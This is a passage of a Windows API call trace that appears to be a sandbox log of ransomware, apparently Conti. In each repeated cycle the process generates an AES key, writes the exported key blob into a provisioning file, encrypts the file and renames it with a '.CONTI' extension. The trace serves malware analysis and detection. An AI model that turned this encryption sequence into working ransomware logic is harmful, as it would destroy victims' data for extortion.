	[0114.576] CryptExportKey (in: hKey=0x6b7eaf8, hExpKey=0x173a8d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4ee0c, pdwDataLen=0x3e3fe8c | out: pbData=0x6b4ee0c*, pdwDataLen=0x3e3fe8c*=0x20c) returned 1
	[0114.576] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\88__Connections_Cellular_T-Mobile Czech Republic (Czech Republic)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\88__connections_cellular_t-mobile czech republic (czech republic)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0114.576] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\88__Connections_Cellular_T-Mobile Czech Republic (Czech Republic)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\88__connections_cellular_t-mobile czech republic (czech republic)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418
	[0114.577] GetLastError () returned 0x0
	[0114.577] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x3e3fe38 | out: lpFileSize=0x3e3fe38*=750) returned 1
	[0114.577] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2ee
	[0114.577] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.577] SetEndOfFile (hFile=0x418) returned 1
	[0114.577] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.577] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.577] WriteFile (in: hFile=0x418, lpBuffer=0x6b4ee0c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3e3fe44, lpOverlapped=0x0 | out: lpBuffer=0x6b4ee0c*, lpNumberOfBytesWritten=0x3e3fe44*=0x20c, lpOverlapped=0x0) returned 1
	[0114.579] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.579] ReadFile (in: hFile=0x418, lpBuffer=0xa2a0000, nNumberOfBytesToRead=0x2ee, lpNumberOfBytesRead=0x3e3fe64, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesRead=0x3e3fe64*=0x2ee, lpOverlapped=0x0) returned 1
	[0114.579] CryptEncrypt (in: hKey=0x6b7eaf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x2ee, dwBufLen=0x500000 | out: pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x2f0) returned 1
	[0114.579] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.579] WriteFile (in: hFile=0x418, lpBuffer=0xa2a0000*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x3e3fe78, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesWritten=0x3e3fe78*=0x2f0, lpOverlapped=0x0) returned 1
	[0114.579] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.579] WriteFile (in: hFile=0x418, lpBuffer=0x6b4ee00*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3e3fe90, lpOverlapped=0x0 | out: lpBuffer=0x6b4ee00*, lpNumberOfBytesWritten=0x3e3fe90*=0x8, lpOverlapped=0x0) returned 1
	[0114.580] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.580] CloseHandle (hObject=0x418) returned 1
	[0114.580] GetProcessHeap () returned 0x1720000
	[0114.580] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0114.580] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\88__Connections_Cellular_T-Mobile Czech Republic (Czech Republic)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\88__Connections_Cellular_T-Mobile Czech Republic (Czech Republic)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\88__Connections_Cellular_T-Mobile Czech Republic (Czech Republic)_i0$(__MVID)@WAP.provxml"
	[0114.580] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\88__Connections_Cellular_T-Mobile Czech Republic (Czech Republic)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\88__Connections_Cellular_T-Mobile Czech Republic (Czech Republic)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\88__Connections_Cellular_T-Mobile Czech Republic (Czech Republic)_i0$(__MVID)@WAP.provxml.CONTI"
	[0114.580] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\88__Connections_Cellular_T-Mobile Czech Republic (Czech Republic)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\88__connections_cellular_t-mobile czech republic (czech republic)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\88__Connections_Cellular_T-Mobile Czech Republic (Czech Republic)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\88__connections_cellular_t-mobile czech republic (czech republic)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0114.581] GetProcessHeap () returned 0x1720000
	[0114.581] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0114.581] CryptDestroyKey (hKey=0x6b7eaf8) returned 1
	[0114.581] GetProcessHeap () returned 0x1720000
	[0114.581] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x18168c8 | out: hHeap=0x1720000) returned 1
	[0114.581] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4) returned 1
	[0114.581] CryptGenKey (in: hProv=0x1753700, Algid=0x6610, dwFlags=0x1, phKey=0x6b4f298 | out: phKey=0x6b4f298*=0x6b7eaf8) returned 1
	[0114.581] CryptExportKey (in: hKey=0x6b7eaf8, hExpKey=0x173a8d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4f29c, pdwDataLen=0x3e3fe8c | out: pbData=0x6b4f29c*, pdwDataLen=0x3e3fe8c*=0x20c) returned 1
	[0114.582] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\89__Connections_Cellular_Vodafone CZ (Czech Republic)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\89__connections_cellular_vodafone cz (czech republic)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0114.582] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\89__Connections_Cellular_Vodafone CZ (Czech Republic)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\89__connections_cellular_vodafone cz (czech republic)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418
	[0114.582] GetLastError () returned 0x0
	[0114.582] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x3e3fe38 | out: lpFileSize=0x3e3fe38*=720) returned 1
	[0114.582] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d0
	[0114.582] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.582] SetEndOfFile (hFile=0x418) returned 1
	[0114.583] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.583] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.583] WriteFile (in: hFile=0x418, lpBuffer=0x6b4f29c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3e3fe44, lpOverlapped=0x0 | out: lpBuffer=0x6b4f29c*, lpNumberOfBytesWritten=0x3e3fe44*=0x20c, lpOverlapped=0x0) returned 1
	[0114.584] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.584] ReadFile (in: hFile=0x418, lpBuffer=0xa2a0000, nNumberOfBytesToRead=0x2d0, lpNumberOfBytesRead=0x3e3fe64, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesRead=0x3e3fe64*=0x2d0, lpOverlapped=0x0) returned 1
	[0114.584] CryptEncrypt (in: hKey=0x6b7eaf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x2d0, dwBufLen=0x500000 | out: pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x2e0) returned 1
	[0114.584] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.584] WriteFile (in: hFile=0x418, lpBuffer=0xa2a0000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x3e3fe78, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesWritten=0x3e3fe78*=0x2e0, lpOverlapped=0x0) returned 1
	[0114.584] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.585] WriteFile (in: hFile=0x418, lpBuffer=0x6b4f290*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3e3fe90, lpOverlapped=0x0 | out: lpBuffer=0x6b4f290*, lpNumberOfBytesWritten=0x3e3fe90*=0x8, lpOverlapped=0x0) returned 1
	[0114.585] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.585] CloseHandle (hObject=0x418) returned 1
	[0114.585] GetProcessHeap () returned 0x1720000
	[0114.585] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0114.585] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\89__Connections_Cellular_Vodafone CZ (Czech Republic)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\89__Connections_Cellular_Vodafone CZ (Czech Republic)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\89__Connections_Cellular_Vodafone CZ (Czech Republic)_i0$(__MVID)@WAP.provxml"
	[0114.585] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\89__Connections_Cellular_Vodafone CZ (Czech Republic)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\89__Connections_Cellular_Vodafone CZ (Czech Republic)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\89__Connections_Cellular_Vodafone CZ (Czech Republic)_i0$(__MVID)@WAP.provxml.CONTI"
	[0114.585] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\89__Connections_Cellular_Vodafone CZ (Czech Republic)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\89__connections_cellular_vodafone cz (czech republic)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\89__Connections_Cellular_Vodafone CZ (Czech Republic)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\89__connections_cellular_vodafone cz (czech republic)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0114.586] GetProcessHeap () returned 0x1720000
	[0114.586] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0114.586] CryptDestroyKey (hKey=0x6b7eaf8) returned 1
	[0114.586] GetProcessHeap () returned 0x1720000
	[0114.586] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65c9a50 | out: hHeap=0x1720000) returned 1
	[0114.586] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4) returned 1
	[0114.586] CryptGenKey (in: hProv=0x1753700, Algid=0x6610, dwFlags=0x1, phKey=0x6b4f970 | out: phKey=0x6b4f970*=0x6b7eaf8) returned 1
	[0114.586] CryptExportKey (in: hKey=0x6b7eaf8, hExpKey=0x173a8d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4f974, pdwDataLen=0x3e3fe8c | out: pbData=0x6b4f974*, pdwDataLen=0x3e3fe8c*=0x20c) returned 1
	[0114.587] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\8__Connections_Cellular_Hutchison - 3 (Australia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\8__connections_cellular_hutchison - 3 (australia)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0114.587] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\8__Connections_Cellular_Hutchison - 3 (Australia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\8__connections_cellular_hutchison - 3 (australia)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418
	[0114.587] GetLastError () returned 0x0
	[0114.587] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x3e3fe38 | out: lpFileSize=0x3e3fe38*=719) returned 1
	[0114.588] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2cf
	[0114.588] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.588] SetEndOfFile (hFile=0x418) returned 1
	[0114.588] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.588] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.588] WriteFile (in: hFile=0x418, lpBuffer=0x6b4f974*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3e3fe44, lpOverlapped=0x0 | out: lpBuffer=0x6b4f974*, lpNumberOfBytesWritten=0x3e3fe44*=0x20c, lpOverlapped=0x0) returned 1
	[0114.590] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.590] ReadFile (in: hFile=0x418, lpBuffer=0xa2a0000, nNumberOfBytesToRead=0x2cf, lpNumberOfBytesRead=0x3e3fe64, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesRead=0x3e3fe64*=0x2cf, lpOverlapped=0x0) returned 1
	[0114.590] CryptEncrypt (in: hKey=0x6b7eaf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x2cf, dwBufLen=0x500000 | out: pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x2d0) returned 1
	[0114.590] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.590] WriteFile (in: hFile=0x418, lpBuffer=0xa2a0000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x3e3fe78, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesWritten=0x3e3fe78*=0x2d0, lpOverlapped=0x0) returned 1
	[0114.590] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.590] WriteFile (in: hFile=0x418, lpBuffer=0x6b4f968*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3e3fe90, lpOverlapped=0x0 | out: lpBuffer=0x6b4f968*, lpNumberOfBytesWritten=0x3e3fe90*=0x8, lpOverlapped=0x0) returned 1
	[0114.590] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.590] CloseHandle (hObject=0x418) returned 1
	[0114.590] GetProcessHeap () returned 0x1720000
	[0114.590] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0114.590] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\8__Connections_Cellular_Hutchison - 3 (Australia)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\8__Connections_Cellular_Hutchison - 3 (Australia)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\8__Connections_Cellular_Hutchison - 3 (Australia)_i1$(__MVID)@WAP.provxml"
	[0114.590] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\8__Connections_Cellular_Hutchison - 3 (Australia)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\8__Connections_Cellular_Hutchison - 3 (Australia)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\8__Connections_Cellular_Hutchison - 3 (Australia)_i1$(__MVID)@WAP.provxml.CONTI"
	[0114.590] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\8__Connections_Cellular_Hutchison - 3 (Australia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\8__connections_cellular_hutchison - 3 (australia)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\8__Connections_Cellular_Hutchison - 3 (Australia)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\8__connections_cellular_hutchison - 3 (australia)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0114.591] GetProcessHeap () returned 0x1720000
	[0114.591] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0114.591] CryptDestroyKey (hKey=0x6b7eaf8) returned 1
	[0114.591] GetProcessHeap () returned 0x1720000
	[0114.591] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65ca3b8 | out: hHeap=0x1720000) returned 1
	[0114.591] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4) returned 1
	[0114.591] CryptGenKey (in: hProv=0x1753700, Algid=0x6610, dwFlags=0x1, phKey=0x6b4fbb8 | out: phKey=0x6b4fbb8*=0x6b7eaf8) returned 1
	[0114.591] CryptExportKey (in: hKey=0x6b7eaf8, hExpKey=0x173a8d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4fbbc, pdwDataLen=0x3e3fe8c | out: pbData=0x6b4fbbc*, pdwDataLen=0x3e3fe8c*=0x20c) returned 1
	[0114.592] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\90__Connections_Cellular_3 (Denmark)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\90__connections_cellular_3 (denmark)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0114.592] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\90__Connections_Cellular_3 (Denmark)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\90__connections_cellular_3 (denmark)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418
	[0114.593] GetLastError () returned 0x0
	[0114.593] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x3e3fe38 | out: lpFileSize=0x3e3fe38*=717) returned 1
	[0114.593] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2cd
	[0114.593] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x227, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.593] SetEndOfFile (hFile=0x418) returned 1
	[0114.593] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.593] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.593] WriteFile (in: hFile=0x418, lpBuffer=0x6b4fbbc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3e3fe44, lpOverlapped=0x0 | out: lpBuffer=0x6b4fbbc*, lpNumberOfBytesWritten=0x3e3fe44*=0x20c, lpOverlapped=0x0) returned 1
	[0114.595] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.595] ReadFile (in: hFile=0x418, lpBuffer=0xa2a0000, nNumberOfBytesToRead=0x2cd, lpNumberOfBytesRead=0x3e3fe64, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesRead=0x3e3fe64*=0x2cd, lpOverlapped=0x0) returned 1
	[0114.595] CryptEncrypt (in: hKey=0x6b7eaf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x2cd, dwBufLen=0x500000 | out: pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x2d0) returned 1
	[0114.595] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.595] WriteFile (in: hFile=0x418, lpBuffer=0xa2a0000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x3e3fe78, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesWritten=0x3e3fe78*=0x2d0, lpOverlapped=0x0) returned 1
	[0114.595] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.595] WriteFile (in: hFile=0x418, lpBuffer=0x6b4fbb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3e3fe90, lpOverlapped=0x0 | out: lpBuffer=0x6b4fbb0*, lpNumberOfBytesWritten=0x3e3fe90*=0x8, lpOverlapped=0x0) returned 1
